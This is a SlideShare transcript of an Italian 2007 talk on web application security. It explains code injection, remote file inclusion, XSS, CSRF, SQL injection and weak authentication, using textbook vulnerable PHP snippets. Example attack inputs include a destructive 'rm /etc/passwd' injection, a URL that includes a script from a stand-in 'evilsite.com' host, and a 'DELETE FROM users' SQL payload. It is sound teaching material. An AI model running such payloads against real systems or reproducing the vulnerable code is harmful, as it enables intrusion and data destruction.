Web Application Insecurity L D2007

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    1 Favorite

    Web Application Insecurity L D2007 - Presentation Transcript

    1. Alessandro “jekil” Tanasi [email_address] http://www.tanasi.it Web Application (In)Security LUG Trieste
    2. Introduzione.. Affermazioni illustri di manager, aziende, enti non citati. Ciao Gianni, sai ci siamo fatti fare il sito nuovo, abbiamo speso solo 500 ϵ ..no no, non esiste documentazione. Tanto è solo carta inutile! Ma certo che sono sicuro! Il sito è protetto da firewall e antivirus Anzi.. usiamo un ritrovato della sicurezza chiamato S..S.. SSL! Ci protegge lui, figo no? Ma alla fine, ti dirò, la sicurezza non ci interessa al momento ?
    3. Siti e applicazioni web
      • Il web è un'insieme di servizi applicativi per la distribuzione di contenuti
      • Negozi online, online banking, community, e-government
      • Una web application prende un input dall'utente , esegue delle operazioni sull'input magari interagendo con componenti di terze parti, mostra in output un risultato in formato HTML
      • Quasi sempre scritto “from scratch”
      • Utilizzo di uno o più linguaggi di programmazione: PHP, Perl, Pyhton, ASP, ..
      • Spesso le funzionalità sono l'unico obbiettivo, spesso il programmatore non ha nozioni di programmazione sicura
    4. Un brutto giorno...
      • Arriva il conto:
      • Perdita di clienti
      • Problemi legali
      • Costi aggiuntivi
      • Perdita di credibilità
    5. Quali problemi?
      • Sviluppo web fatto in maniera caotica
      • Prima si devono soddisfare i requisiti dettati dall'utente/committente (features), poi se avanza tempo si mette in sicurezza
      • Se una cosa funziona bene perchè modificarla?
      • Falsi sensi di sicurezza (SSL, firewall)
      Mancanza di competenze degli sviluppatori, non comprensione dei problemi da parte del management, poca importanza data alla sicurezza. Indisponibilità a investire in cose che non danno un ritorno visibile.
    6. Vulnerabilità comuni To win a war, one must know the way. Sun Tzu The Art of War
    7. Utente, user input
      • Gli utenti sono brave persone, di cui ci si può fidare , e che useranno l'applicazione nel modo corretto , tutti sono miei amici!
      • L'applicazione non si aspetta input maliziosi, fiducia implicita nell'input
      • E c'era la marmotta che incartava la cioccolata...
      • L'input proveniente da un utente non è mai fidato
      • L'obbiettivo è mettere l'applicazione in uno stato non previsto , per ottenere comportamenti anomali o informazioni di debugging
    8. Code injection
      • Alcune funzioni (eval, exec, fopen, etc.) valutano codice o effettuano chiamate al sistema operativo
      • Inietta codice (PHP script, comandi shell)
      • Esecuzione di codice sul web server con i privilegi del web server
      http://example.com/index.php?arg=marmotta
      • <?php
        • $name = $_GET['arg'];
        • exec (&quot;echo $name&quot;);
      • ?>
      http://example.com/index.php?arg= marmotta; rm /etc/passwd
    9. Remote file inclusion
      • Esecuzione di codice remoto
      • L'attaccante può far scaricare ed eseguire codice con i privilegi del web server semplicemente modificando l'URL
      <?php include($layout); ?> http://example.com/index.php?layout=green http://example.com/index.php?layout=http://evilsite.com/evilscript
    10. Cross site scripting(XSS)
      • Fiducia implicita nel contenuto del browser
      • Un sito fidato viene usato per distribuire contenuti malevoli
      • Codice HTML e/o Javascript iniettato
      <?php echo “You searched for $q”; // show results ?> http://example.com/index.php?q=marmotta http://example.com/index.php?q=<script>alert('buh!')</script>
    11. XSS
      • Privacy : Può trasmettere dati privati dell'utente, tracciamento, history
      • Autenticazione : furto di credenziali, password manager
      • Integrità : Può alterare il sito visitato, phishing
      • Disponibilità : causare DoS
      • Exploitation del browser e sue estensioni
      • Rich Internet Applications (Flash, Acrobat, Java, ActiveX, Silverlight, Media Player)
      • Scansione della intranet
      • Attacchi alla intranet
    12. CSRF
      • Modello di autenticazione tradizionale: l'utente fa login e tutte le successive richieste sono autenticate
      • C ross S ite R equest F orgery
      • Forzare il browser a mandare richieste per un sito ad insaputa dell'utente (trasferimenti di denaro, post sul blog)
      • Utente forzato a fare una richiesta (autenticata) non voluta
      <img src=&quot;http://google.com/search?q=porno&quot;/>
    13. SQL Injection
      • Molti siti web usano un DBMS per gestire e memorizzare dati
      • SQL è un linguaggio (DDL, DML, e altro..)
      • Iniezione di query arbitrarie al DBMS, attacco al backend
      • Amplificata da errate configurazioni dei DBMS
      <?php mysql_query(“SELECT * FROM users WHERE uid='$var'”); ?> http://example.com/index.php?var=123 http://example.com/index.php?var=aaa'; DELETE FROM users;
    14. Autenticazione debole
      • Gestione dell'autenticazione e della sessione
      • Debolezze architetturali (Forgot my pass)
      • Authentication bypass
      • Session hijacking
      • Brute forcing o previsione del session ID
      • Cookie Overload / Session Fixation
      • I cookie sono un'input utente e come tali vanno trattati
    15. Errori di gestione
      • Software installati e mai aggiornati
      • Configurazioni errate, affrettate o di default
      • Presenza di file non necessari, di backup, di esempio
      • Permessi sbagliati, policy errate su dati privati
      • Servizi non necessari abilitati, funziolità non utilizzate abilitate
      • Account di default utilizzabili
      • Debug abilitato
    16. OWASP Top 10 2007
      • Cross Site Scripting (XSS)
      • Injection Flaws
      • Malicious File Execution Code vulnerable to remote file inclusion (RFI)
      • Insecure Direct Object Reference
      • Cross Site Request Forgery (CSRF)
      • Information Leakage and Improper Error Handling
      • Broken Authentication and Session Management
      • Insecure Cryptographic Storage
      • Insecure Communication
      • Failure to Restrict URL Access
      http://www.owasp.org
    17. Ulteriori minacce
        • We wouldn’t need so much network security,
        • if we didn’t have such bad software security.
        • Bruce Schneier
    18. Web Services
      • Standard per la comunicazione machine to machine (XML, SOAP, WSDL, UDDI)
      • Interfaccia alla business logic e hai dati
      • Automazione di processi di business (b2b, b2c), nuovi servizi
      • Soffrono delle stesse problematiche delle applicazioni web:
        • Messaggi di errori pettegoli
        • SQL Injection
        • Gestione delle eccezioni
        • Access control
        • Gestione delle sessioni
        • Configurazioni errate
    19. Malware
      • Amministratori di siti che includono volutamente malware
      • Siti defacciati che includono non volutamente malware
      • Malware iniettato in aree pubbliche (XSS persistente)
      • Click su link malformati in maniera apposita (XSS non persistente)
      • Worm e virus dal mondo reale: Myspace.com 2005, Yamanner 2006
    20. Altre vulnerabilità
      • XML Security
      • JJavascript manipulationSON Security
      • AJAX Security
      • Buffer overflow
      • Spam relay
      • Timing Attacks
      • ActiveX Controls
      • Java applets (sandbox bypassing)
      • Javascript manipulation
      • Xpath Injection
      • ..e molto altro
    21. Conclusioni
      • Le applicazioni web sono quasi sempre scritte male o in fretta
      • Quindi molto vulnerabili, principalmente a causa di problemi legati alla validazione dell'input o problemi architetturali
      • Il codice delle web application fa parte del perimetro di sicurezza
      • Le web application sono un bersaglio ghiotto
      • La tecnologia cambia velocemente (JS, AJAX, WS), l'innovazione spesso non avviene in modo corretto
    22.  

    + jekiljekil, 3 years ago

    custom

    2377 views, 1 favs, 2 embeds more stats

    Web Application Insecurity

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 2377
      • 2359 on SlideShare
      • 18 from embeds
    • Comments 0
    • Favorites 1
    • Downloads 0
    Most viewed embeds
    • 17 views on http://www.lonerunners.net
    • 1 views on http://lonerunners.net

    more

    All embeds
    • 17 views on http://www.lonerunners.net
    • 1 views on http://lonerunners.net

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories